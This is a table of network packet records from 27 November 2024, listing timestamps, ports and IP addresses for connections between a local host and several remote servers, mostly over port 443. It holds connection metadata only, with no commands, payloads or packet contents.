Nov 27, 2024 11:14:35.139027119 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.139110088 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.144457102 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.144541025 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.144562006 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.144675970 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.146327019 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.146397114 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.146401882 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.146512032 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.150079012 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.150171041 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.150198936 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.150247097 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.153122902 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.153218985 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.153228045 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.153335094 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.156039000 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.156119108 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.156126022 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.156166077 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.160011053 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.160079956 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.160085917 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.160118103 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.163029909 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.163094044 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.163099051 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.163172007 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.166320086 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.166389942 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.166393995 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.166409969 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.166439056 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.166450024 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.166455030 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.166480064 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.166496038 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.166521072 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.170922041 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.174777985 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.174807072 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.174853086 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.174864054 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.174906015 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.174926043 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.183387041 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.183408976 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.183459044 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.183465958 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.183504105 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.183521986 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.191610098 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.191634893 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.191709042 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.191716909 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.191750050 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.191771030 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.196135998 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.196340084 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.196397066 CET	49799	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.199702978 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.199724913 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.199785948 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.199793100 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.199841976 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.208484888 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.208508015 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.208591938 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.208600044 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.208636999 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.208648920 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.216519117 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.216594934 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.226917028 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.226947069 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.227613926 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.227619886 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.233705044 CET	49799	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.233722925 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.279341936 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.279432058 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.339835882 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.339869976 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.339941978 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.423331976 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.423402071 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.459690094 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.459767103 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.459897995 CET	49801	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.492624044 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.492686033 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.492744923 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.624824047 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.624888897 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.625013113 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.711333990 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.711421013 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:35.800208092 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.800228119 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.800379038 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.800379038 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.800426006 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.800441980 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.805594921 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.807777882 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.807796955 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.808212042 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.808218002 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.818221092 CET	49801	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.818240881 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.823446035 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.823470116 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.823489904 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:35.823498011 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:35.839335918 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:35.839394093 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:36.096354961 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.096383095 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:36.096529961 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.096616983 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.096633911 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:36.096745014 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.097924948 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.097953081 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:36.098011017 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.098611116 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.098627090 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:36.098663092 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.098674059 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:36.099142075 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:36.099164963 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:36.205810070 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.205831051 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.206034899 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.207990885 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.208055973 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.208128929 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.241410971 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.241475105 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.241576910 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.249074936 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.249104977 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.249285936 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.260298014 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.260313988 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.260413885 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.260426998 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.261017084 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.261056900 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.271660089 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.271694899 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.271708965 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.271714926 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.433121920 CET	49817	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.433188915 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.433270931 CET	49817	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.433315992 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:36.433396101 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:36.436747074 CET	49817	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:36.436760902 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:36.543355942 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:36.546041012 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:36.553260088 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.553410053 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.553468943 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.553550005 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.553560019 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.584042072 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:36.584105968 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:36.584233046 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:36.584472895 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:36.584485054 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:36.675326109 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:36.675378084 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:36.984302998 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.984417915 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.984581947 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:36.988558054 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.990032911 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.990115881 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:36.990189075 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.998573065 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.998699903 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:36.998816013 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:37.006925106 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:37.007009983 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:37.007018089 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:37.015213966 CET	443	49713	20.190.147.10	192.168.2.6
Nov 27, 2024 11:14:37.015269995 CET	49713	443	192.168.2.6	20.190.147.10
Nov 27, 2024 11:14:37.582418919 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:37.649255037 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:37.704758883 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.759321928 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.759759903 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.783555031 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.783567905 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.783812046 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.783822060 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784054995 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784132957 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.784187078 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784238100 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.784344912 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.784368038 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784785032 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784810066 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784826040 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784832954 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.784862995 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.784863949 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.784924030 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.793920994 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.794009924 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.794043064 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.794106960 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.800959110 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.800966978 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.801059008 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.801069021 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.830782890 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:37.830795050 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:37.831306934 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:37.831315994 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:37.836363077 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.836380959 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.847336054 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.847439051 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:37.942941904 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.942987919 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:37.943012953 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:38.009892941 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:38.040687084 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.041398048 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.041434050 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.041662931 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.041691065 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.042362928 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.042370081 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.044532061 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.044544935 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.045196056 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.045201063 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.045290947 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.045309067 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.045666933 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.045672894 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.090812922 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:38.156518936 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.156593084 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.156706095 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.156889915 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.156889915 CET	49805	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.156900883 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.156908989 CET	443	49805	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.159970045 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.160002947 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.160267115 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.160418987 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.160432100 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.207336903 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:38.207384109 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:38.216886044 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.231589079 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:38.234205008 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:38.234416008 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:38.256864071 CET	49817	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.256900072 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.257467985 CET	49817	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.257474899 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.260813951 CET	49810	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:38.260828018 CET	443	49810	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:38.323111057 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:38.339323044 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:38.339411974 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:38.343271017 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:38.343295097 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:38.344525099 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:38.344592094 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:38.345984936 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:38.346056938 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:38.346395016 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:38.346402884 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:38.444365978 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:38.444542885 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:38.444629908 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:38.451862097 CET	49811	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:38.451888084 CET	443	49811	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:38.484801054 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.484855890 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.484942913 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.485488892 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.485555887 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.485651970 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.485935926 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.485997915 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.486051083 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.506318092 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:38.531673908 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.531713009 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.531730890 CET	49815	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.531738043 CET	443	49815	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.533647060 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.533660889 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.533701897 CET	49816	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.533706903 CET	443	49816	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.534512043 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.534512043 CET	49814	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.534521103 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.534524918 CET	443	49814	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.621793032 CET	80	49782	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:38.622009993 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:38.660789013 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.660857916 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.660914898 CET	49817	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.720630884 CET	49817	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.720645905 CET	443	49817	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.785690069 CET	49824	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.785738945 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.785811901 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.785828114 CET	49824	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.785850048 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.785897970 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.786997080 CET	49826	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.787012100 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.787352085 CET	49826	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.820307016 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.820363045 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.820488930 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.822496891 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:38.822580099 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:38.822622061 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:38.824702978 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.824718952 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.824816942 CET	49824	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.824831963 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.824913979 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:38.824924946 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.825057030 CET	49826	443	192.168.2.6	13.107.246.63
